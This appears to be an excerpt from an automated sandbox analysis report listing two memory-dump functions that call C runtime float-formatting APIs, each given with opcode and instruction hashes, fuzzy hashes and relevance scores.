                                        Function 00434BB9, Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488187064.0000000000433000.00000020.00020000.sdmp, Offset: 00433000, based on PE: false
                                        Similarity
                                        • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                        • String ID:
                                        • API String ID: 3016257755-0
                                        • Opcode ID: afc8384d7de5dc81d749eb2ef2e502e72940c946d5071aaa17129bf9d5fb4602
                                        • Instruction ID: 530208969fa2b3af2a5e7a4cd0458fa8bb383cddc096915f246feb6b0feb99a6
                                        • Opcode Fuzzy Hash: afc8384d7de5dc81d749eb2ef2e502e72940c946d5071aaa17129bf9d5fb4602
                                        • Instruction Fuzzy Hash: DE11837240004EBBCF125E84DC01CEE3F62BF9C354F59A416FA1859131C23AE9B2AB85
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0209372B, Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                        • String ID:
                                        • API String ID: 3016257755-0
                                        • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                        • Instruction ID: 60fcf52b6c2702de0a6fadf865487b030736440f6adb491c7cdd65392538e460
                                        • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                        • Instruction Fuzzy Hash: 3011557200028ABBCF225F84CC418EE7F63BB48358B098494FA1A98030C333C5B1BF81
                                        Uniqueness

                                        Uniqueness Score: -1.00%